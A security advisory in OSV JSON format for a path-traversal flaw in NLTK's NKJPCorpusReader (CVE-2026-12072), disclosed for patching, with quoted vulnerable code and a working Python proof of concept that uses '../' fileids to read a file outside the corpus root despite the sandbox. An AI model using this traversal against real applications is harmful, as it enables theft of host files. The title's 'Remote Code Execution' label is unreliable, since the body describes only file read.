CVE-2026-12072: Natural Language Toolkit (NLTK) Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6hm5-jgcp-p838",
  "modified" : "2026-07-31T16:50:55Z",
  "published" : "2026-07-31T16:50:55Z",
  "aliases" : [ "CVE-2026-12072" ],
  "summary" : "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)",
  "details" : "### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"<x/>\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"<teiHeader><fileDesc><sourceDesc><bibl>\"\n   \"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>\"\n       \"</bibl></sourceDesc></fileDesc></teiHeader>\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.9.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T16:50:55Z",
    "nvd_published_at" : "2026-06-15T20:16:34Z"
  }
}